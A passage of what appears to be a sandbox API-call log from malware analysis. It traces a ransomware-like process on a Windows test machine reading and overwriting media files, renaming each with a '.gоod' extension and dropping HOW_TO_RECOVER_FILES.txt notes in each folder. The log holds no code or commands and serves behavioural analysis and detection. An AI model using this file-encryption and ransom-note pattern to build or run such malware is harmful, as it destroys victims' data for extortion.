lpOldMode=0x1f9ebcf0) returned 1 [0171.740] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\pl6rebur.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0171.740] GetFileType (hFile=0x61c) returned 0x1 [0171.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebc60) returned 1 [0171.741] GetFileType (hFile=0x61c) returned 0x1 [0171.741] WriteFile (in: hFile=0x61c, lpBuffer=0x34136b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ebe78, lpOverlapped=0x0 | out: lpBuffer=0x34136b8*, lpNumberOfBytesWritten=0x1f9ebe78*=0x1010, lpOverlapped=0x0) returned 1 [0171.741] CloseHandle (hObject=0x61c) returned 1 [0171.741] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf", nBufferLength=0x105, lpBuffer=0x1f9eb920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf", lpFilePart=0x0) returned 0x58 [0171.741] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf.gоod", nBufferLength=0x105, lpBuffer=0x1f9eb920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf.gоod", lpFilePart=0x0) returned 0x5d [0171.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebdb0) returned 1 [0171.741] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\pl6rebur.swf"), fInfoLevelId=0x0, lpFileInformation=0x1f9ebe90 | out: lpFileInformation=0x1f9ebe90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76f3bb0, ftCreationTime.dwHighDateTime=0x1d4cf84, ftLastAccessTime.dwLowDateTime=0xd450ec50, ftLastAccessTime.dwHighDateTime=0x1d4d5bf, ftLastWriteTime.dwLowDateTime=0x629314a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x75ba)) returned 1 [0171.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebd70) returned 1 [0171.741] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\pl6rebur.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\PL6REBur.swf.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\pl6rebur.swf.gоod")) returned 1 [0172.050] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4", nBufferLength=0x105, lpBuffer=0x1f9eb920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4", lpFilePart=0x0) returned 0x57 [0172.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebdf0) returned 1 [0172.050] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\vub0iba.mp4"), fInfoLevelId=0x0, lpFileInformation=0x348d178 | out: lpFileInformation=0x348d178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb41cd0, ftCreationTime.dwHighDateTime=0x1d4cd11, ftLastAccessTime.dwLowDateTime=0xf5329840, ftLastAccessTime.dwHighDateTime=0x1d4c8b0, ftLastWriteTime.dwLowDateTime=0xf5329840, ftLastWriteTime.dwHighDateTime=0x1d4c8b0, nFileSizeHigh=0x0, nFileSizeLow=0x6912)) returned 1 [0172.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebdb0) returned 1 [0172.051] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4", nBufferLength=0x105, lpBuffer=0x1f9eb7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4", lpFilePart=0x0) returned 0x57 [0172.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebcf0) returned 1 [0172.051] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\vub0iba.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.051] GetFileType (hFile=0x640) returned 0x1 [0172.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebc60) returned 1 [0172.051] GetFileType (hFile=0x640) returned 0x1 [0172.051] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ebe48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ebe48*=0) returned 0x1000 [0172.051] ReadFile (in: hFile=0x640, lpBuffer=0x348d5c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ebe18, lpOverlapped=0x0 | out: lpBuffer=0x348d5c0*, lpNumberOfBytesRead=0x1f9ebe18*=0x1000, lpOverlapped=0x0) returned 1 [0172.051] CloseHandle (hObject=0x640) returned 1 [0172.051] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4", nBufferLength=0x105, lpBuffer=0x1f9eb7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4", lpFilePart=0x0) returned 0x57 [0172.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebcf0) returned 1 [0172.052] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\vub0iba.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.052] GetFileType (hFile=0x640) returned 0x1 [0172.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebc60) returned 1 [0172.052] GetFileType (hFile=0x640) returned 0x1 [0172.052] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ebe48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ebe48*=0) returned 0x6912 [0172.052] WriteFile (in: hFile=0x640, lpBuffer=0x348e870*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ebd38, lpOverlapped=0x0 | out: lpBuffer=0x348e870*, lpNumberOfBytesWritten=0x1f9ebd38*=0x10, lpOverlapped=0x0) returned 1 [0172.052] CloseHandle (hObject=0x640) returned 1 [0172.052] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4", nBufferLength=0x105, lpBuffer=0x1f9eb7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4", lpFilePart=0x0) returned 0x57 [0172.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebcf0) returned 1 [0172.052] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\vub0iba.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.052] GetFileType (hFile=0x640) returned 0x1 [0172.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebc60) returned 1 [0172.052] GetFileType (hFile=0x640) returned 0x1 [0172.052] ReadFile (in: hFile=0x640, lpBuffer=0x3490c60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ebdc8, lpOverlapped=0x0 | out: lpBuffer=0x3490c60*, lpNumberOfBytesRead=0x1f9ebdc8*=0x1000, lpOverlapped=0x0) returned 1 [0172.079] CloseHandle (hObject=0x640) returned 1 [0172.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4", nBufferLength=0x105, lpBuffer=0x1f9eb7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4", lpFilePart=0x0) returned 0x57 [0172.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebcf0) returned 1 [0172.079] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\vub0iba.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0172.079] GetFileType (hFile=0x640) returned 0x1 [0172.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebc60) returned 1 [0172.079] GetFileType (hFile=0x640) returned 0x1 [0172.079] WriteFile (in: hFile=0x640, lpBuffer=0x348f888*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ebe78, lpOverlapped=0x0 | out: lpBuffer=0x348f888*, lpNumberOfBytesWritten=0x1f9ebe78*=0x1010, lpOverlapped=0x0) returned 1 [0172.079] CloseHandle (hObject=0x640) returned 1 [0172.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4", nBufferLength=0x105, lpBuffer=0x1f9eb920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4", lpFilePart=0x0) returned 0x57 [0172.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4.gоod", nBufferLength=0x105, lpBuffer=0x1f9eb920, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4.gоod", lpFilePart=0x0) returned 0x5c [0172.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebdb0) returned 1 [0172.079] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\vub0iba.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1f9ebe90 | out: lpFileInformation=0x1f9ebe90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb41cd0, ftCreationTime.dwHighDateTime=0x1d4cd11, ftLastAccessTime.dwLowDateTime=0xf5329840, ftLastAccessTime.dwHighDateTime=0x1d4c8b0, ftLastWriteTime.dwLowDateTime=0x62c78638, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6922)) returned 1 [0172.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebd70) returned 1 [0172.080] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\vub0iba.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\vUb0iBA.mp4.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\vub0iba.mp4.gоod")) returned 1 [0172.082] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9eba90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x64 [0172.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ebfb0) returned 1 [0172.082] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\dj_ecas\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0172.082] GetFileType (hFile=0x640) returned 0x1 [0172.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ebf20) returned 1 [0172.082] GetFileType (hFile=0x640) returned 0x1 [0172.083] WriteFile (in: hFile=0x640, lpBuffer=0x3510708*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ec078, lpOverlapped=0x0 | out: lpBuffer=0x3510708*, lpNumberOfBytesWritten=0x1f9ec078*=0x5d0, lpOverlapped=0x0) returned 1 [0172.084] CloseHandle (hObject=0x640) returned 1 [0172.084] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ec4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5c [0172.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec9e0) returned 1 [0172.084] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x580 [0172.306] GetFileType (hFile=0x580) returned 0x1 [0172.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec950) returned 1 [0172.306] GetFileType (hFile=0x580) returned 0x1 [0173.222] WriteFile (in: hFile=0x580, lpBuffer=0x3616430*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ecaa8, lpOverlapped=0x0 | out: lpBuffer=0x3616430*, lpNumberOfBytesWritten=0x1f9ecaa8*=0x5d0, lpOverlapped=0x0) returned 1 [0173.223] CloseHandle (hObject=0x580) returned 1 [0173.223] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0173.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0173.223] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x580 [0173.226] GetFileType (hFile=0x580) returned 0x1 [0173.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0173.226] GetFileType (hFile=0x580) returned 0x1 [0173.227] WriteFile (in: hFile=0x580, lpBuffer=0x36976c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x36976c8*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0173.228] CloseHandle (hObject=0x580) returned 1 [0173.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0173.228] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n", lpFilePart=0x0) returned 0x33 [0173.228] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4d91470, ftCreationTime.dwHighDateTime=0x1d4d0ca, ftLastAccessTime.dwLowDateTime=0xdf3b9690, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0xdf3b9690, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0173.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4d91470, ftCreationTime.dwHighDateTime=0x1d4d0ca, ftLastAccessTime.dwLowDateTime=0xdf3b9690, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0xdf3b9690, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a50610, ftCreationTime.dwHighDateTime=0x1d4c96a, ftLastAccessTime.dwLowDateTime=0xabb1f550, ftLastAccessTime.dwHighDateTime=0x1d4cd63, ftLastWriteTime.dwLowDateTime=0xabb1f550, ftLastWriteTime.dwHighDateTime=0x1d4cd63, nFileSizeHigh=0x0, nFileSizeLow=0x43d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAccYjl4.avi", cAlternateFileName="")) returned 1 [0173.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876b13f0, ftCreationTime.dwHighDateTime=0x1d4d454, ftLastAccessTime.dwLowDateTime=0xe3b3140, ftLastAccessTime.dwHighDateTime=0x1d4cc2a, ftLastWriteTime.dwLowDateTime=0xe3b3140, ftLastWriteTime.dwHighDateTime=0x1d4cc2a, nFileSizeHigh=0x0, nFileSizeLow=0xe55a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mLU55Py7HW 9Xae0A3.flv", cAlternateFileName="MLU55P~1.FLV")) returned 1 [0173.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1adf2b0, ftCreationTime.dwHighDateTime=0x1d4d194, ftLastAccessTime.dwLowDateTime=0x84339e10, ftLastAccessTime.dwHighDateTime=0x1d4d0cf, ftLastWriteTime.dwLowDateTime=0x84339e10, ftLastWriteTime.dwHighDateTime=0x1d4d0cf, nFileSizeHigh=0x0, nFileSizeLow=0x11e01, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngU5Hl.mkv", cAlternateFileName="")) returned 1 [0173.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd91335d0, ftCreationTime.dwHighDateTime=0x1d4c80a, ftLastAccessTime.dwLowDateTime=0x9df702a0, ftLastAccessTime.dwHighDateTime=0x1d4d5a8, ftLastWriteTime.dwLowDateTime=0x9df702a0, ftLastWriteTime.dwHighDateTime=0x1d4d5a8, nFileSizeHigh=0x0, nFileSizeLow=0x17a33, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nm3zM4D9NpJg.flv", cAlternateFileName="NM3ZM4~1.FLV")) returned 1 [0173.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1d16180, ftCreationTime.dwHighDateTime=0x1d4d1d5, ftLastAccessTime.dwLowDateTime=0x1f2691d0, ftLastAccessTime.dwHighDateTime=0x1d4c6a2, ftLastWriteTime.dwLowDateTime=0x1f2691d0, ftLastWriteTime.dwHighDateTime=0x1d4c6a2, nFileSizeHigh=0x0, nFileSizeLow=0x25de, dwReserved0=0x0, dwReserved1=0x0, cFileName="oW8edn3.swf", cAlternateFileName="")) returned 1 [0173.229] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2df600, ftCreationTime.dwHighDateTime=0x1d4c825, ftLastAccessTime.dwLowDateTime=0x81eea000, ftLastAccessTime.dwHighDateTime=0x1d4d5c5, ftLastWriteTime.dwLowDateTime=0x81eea000, ftLastWriteTime.dwHighDateTime=0x1d4d5c5, nFileSizeHigh=0x0, nFileSizeLow=0xeb3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="z5QQiGc.swf", cAlternateFileName="")) returned 1 [0173.230] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0173.230] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0173.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0173.230] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0173.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0173.230] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n", lpFilePart=0x0) returned 0x33 [0173.230] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\PDnrnw9vhNCZQ73n\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4d91470, ftCreationTime.dwHighDateTime=0x1d4d0ca, ftLastAccessTime.dwLowDateTime=0xdf3b9690, ftLastAccessTime.dwHighDateTime=0x1d4cc3e, ftLastWriteTime.dwLowDateTime=0xdf3b9690, ftLastWriteTime.dwHighDateTime=0x1d4cc3e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0173.230] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4d91470, ftCreationTime.dwHighDateTime=0x1d4d0ca, ftLastAccessTime.dwLowDateTime=0xdf3b9690, 